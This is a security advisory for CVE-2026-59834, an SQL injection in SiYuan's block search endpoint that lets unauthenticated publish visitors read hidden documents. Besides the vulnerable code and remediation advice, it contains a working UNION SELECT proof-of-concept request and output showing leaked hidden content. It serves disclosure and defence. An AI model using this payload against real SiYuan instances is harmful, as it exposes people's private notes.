CVE-2026-59834: SiYuan: SQL Query in Block Search Exposes Hidden Published Document Content
Summary Siyuan's block search endpoint concatenates attacker-controlled paths[] values into SQL predicates used by non-SQL search modes. Through Siyuan's publish service, an unauthenticated visitor is forwarded to the kernel with a reader-role token and can reach POST /api/search/fullTextSearchBlock.
Published Sep 2, 2026
Affected packages
github.com/siyuan-note/siyuan/kernel
- Ecosystem
- Go
- Affected
- < 0.0.0-20260704035518-d0f0fe146fb0
- Fixed in
- 0.0.0-20260704035518-d0f0fe146fb0
- Check
go list -m github.com/siyuan-note/siyuan/kernel
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Siyuan's block search endpoint concatenates attacker-controlled paths[] values into SQL predicates used by non-SQL search modes. Through Siyuan's publish service, an unauthenticated visitor is forwarded to the kernel with a reader-role token and can reach POST /api/search/fullTextSearchBlock.
An attacker can inject a UNION SELECT through paths[] and return rows from hidden documents while projecting an allowed visible box and path. The post-query publish access filter trusts the projected box and path, so the injected hidden row is returned to the publish visitor.
Affected Code
The API blocks explicit SQL search mode for non-admin users, but allows other search methods to use caller-controlled paths:
if method == 2 && !model.IsAdminRoleContext(c) {
ret.Code = -1
ret.Msg = "SQL search requires administrator privileges"
return
}
blocks, matchedBlockCount, matchedRootCount, pageCount, docMode := model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize)
if model.IsReadOnlyRoleContext(c) {
publishAccess := model.GetPublishAccess()
blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)
}Source: input/siyuan/kernel/api/search.go
paths[] is parsed into notebook IDs and paths without SQL escaping or validation:
path := p.(string)
box := strings.TrimSpace(strings.Split(path, "/")[0])
if "" != box {
boxes = append(boxes, box)
}
path = strings.TrimSpace(strings.TrimPrefix(path, box))
if "" != path {
paths = append(paths, path)
}Source: input/siyuan/kernel/api/search.go
Those values are then concatenated directly into SQL:
builder.WriteString(fmt.Sprintf("box = '%s'", box))builder.WriteString(fmt.Sprintf("path LIKE '%s%%'", path))Source: input/siyuan/kernel/model/search.go
Regexp search executes the resulting statement:
stmt := "SELECT * FROM `blocks` WHERE " + fieldFilter + " AND type IN " + typeFilter
stmt += boxFilter + pathFilter + ignoreFilter + " " + orderBy
blocks := sql.SelectBlocksRegex(stmt, regex, Conf.Search.Name, Conf.Search.Alias, Conf.Search.Memo, Conf.Search.IAL, page, pageSize)Source: input/siyuan/kernel/model/search.go
The read-only publish filter runs after SQL execution and trusts the returned row's Box and Path:
for _, block := range blocks {
passwordID, password := GetPathPasswordByPublishAccess(block.Box, block.Path, publishAccess)
if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) && (c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) {
ret = append(ret, block)
}
}Source: input/siyuan/kernel/model/publish_access.go
Attack Scenario
- A Siyuan instance enables the publish service.
- At least one document is visible to publish visitors.
- At least one document is hidden from publish visitors.
- The attacker sends a crafted
paths[]value to the publish service's/api/search/fullTextSearchBlockendpoint. - The injected SQL selects content from the hidden document while projecting the visible document's
boxandpath. - Siyuan returns the hidden block because the post-query publish filter checks the projected visible path.
Proof of Concept
POST /api/search/fullTextSearchBlock HTTP/1.1
Host: <publish-service-host>
Content-Type: application/json
{
"query": "SECRET-LIVE-SQLI-20260609",
"method": 3,
"page": 1,
"pageSize": 10,
"paths": [
"VISIBLE_NOTEBOOK_ID/x%') UNION SELECT id,parent_id,root_id,hash,'VISIBLE_NOTEBOOK_ID','/VISIBLE_DOC.sy',hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks WHERE path='/HIDDEN_DOC.sy' -- "
]
}VISIBLE_NOTEBOOK_ID and /VISIBLE_DOC.sy must reference content that the publish visitor can access. /HIDDEN_DOC.sy is the hidden document to read.
Validation
Setup:
- Started
b3log/siyuan:latestwith an isolated temporary workspace. - Created one notebook.
- Created a visible document containing
public apple marker. - Created a hidden document containing
SECRET-LIVE-SQLI-20260609 apple marker. - Marked the hidden document invisible with
POST /api/filetree/setPublishAccess. - Enabled publish mode with
POST /api/setting/setPublish. - Sent all exploit traffic through the publish service, which forwards requests with a reader-role token.
Control request through the publish service for the hidden marker returned no blocks:
{
"code": 0,
"msg": "",
"data": {
"blocks": [],
"docMode": false,
"matchedBlockCount": 1,
"matchedRootCount": 1,
"pageCount": 1
}
}The injected request through the publish service returned the hidden block:
{
"code": 0,
"msg": "",
"data": {
"blocks": [
{
"box": "20260609095146-19hud1e",
"path": "/20260609095209-1ljs6o7.sy",
"hPath": "/HiddenDoc",
"id": "20260609095209-gttlrue",
"rootID": "20260609095209-yaz7i3h",
"parentID": "20260609095209-yaz7i3h",
"content": "<mark>SECRET-LIVE-SQLI-20260609</mark> apple marker",
"markdown": "SECRET-LIVE-SQLI-20260609 apple marker",
"type": "NodeParagraph"
}
],
"docMode": false,
"matchedBlockCount": 0,
"matchedRootCount": 0,
"pageCount": 0
}
}The returned row contains content from the hidden document, but its projected box and path point to the visible document. That is why the publish access filter accepts it.
Impact
An unauthenticated publish visitor can read hidden document block content from the blocks table. This bypasses Siyuan's publish visibility controls and exposes private note content that is not available through normal published document or search requests.
Remediation
Build notebook and path predicates with bound SQL parameters instead of string concatenation. For example:
box = ?
path LIKE ?Then pass the user-controlled notebook ID and path prefix as query arguments.
Additional hardening:
- Validate notebook IDs before query construction.
- Validate document paths against Siyuan's normalized
.sypath format. - Apply publish visibility restrictions before or inside SQL execution, rather than relying only on post-query filtering of returned row projections.
- Add regression tests for publish reader-role requests where
paths[]contains SQL metacharacters such as',),UNION, and--.
Credited to mountainousmolehill, Kairos-T.
References
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h89q-4j2h-7h88
- https://nvd.nist.gov/vuln/detail/CVE-2026-59834
- https://github.com/siyuan-note/siyuan/commit/57bcad4b331836880bfe6be25d4180bdcf10db0d
- https://github.com/siyuan-note/siyuan/commit/d0f0fe146fb07d594fcadc4f48d4f7c30ac01d1e
- https://github.com/siyuan-note/siyuan/releases/tag/v3.7.1
- https://github.com/advisories/GHSA-h89q-4j2h-7h88
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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